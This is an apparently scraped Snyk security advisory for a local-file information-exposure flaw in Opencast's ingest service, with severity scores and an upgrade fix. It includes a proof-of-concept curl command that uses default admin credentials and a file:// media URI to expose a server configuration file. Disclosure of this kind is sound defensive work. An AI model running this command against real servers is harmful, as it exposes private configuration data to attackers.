Information Exposure Affecting org.opencastproject:opencast-ingest-service-impl package, versions [,10.6)


Severity

0.0
medium
0
10

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.14% (51st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGOPENCASTPROJECT-2320173
  • published 15 Dec 2021
  • disclosed 15 Dec 2021
  • credit Greg Logan

How to fix?

Upgrade org.opencastproject:opencast-ingest-service-impl to version 10.6 or higher.

Overview

org.opencastproject:opencast-ingest-service-impl is a free and open source solution for automated video capture and distribution at scale.

Affected versions of this package are vulnerable to Information Exposure by allowing references to local file URLs in ingested media packages, which makes it possible for attackers to include local files from Opencast's host machines and making them available via the web interface.

###POC:

To expose the custom.properties of develop.opencast.org via the asset manager, an attacker could have run:

curl -f -i -u admin:opencast \
  https://develop.opencast.org/ingest/addMediaPackage/fast \
  -F 'flavor=presenter/source'\
  -F mediaUri=file:///srv/opencast/opencast-dist-allinone/etc/custom.properties\
  -F title="custom.properties" 

CVSS Scores

version 3.1
Expand this section

Snyk

6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    None
  • Availability (A)
    None
Expand this section

NVD

7.7 high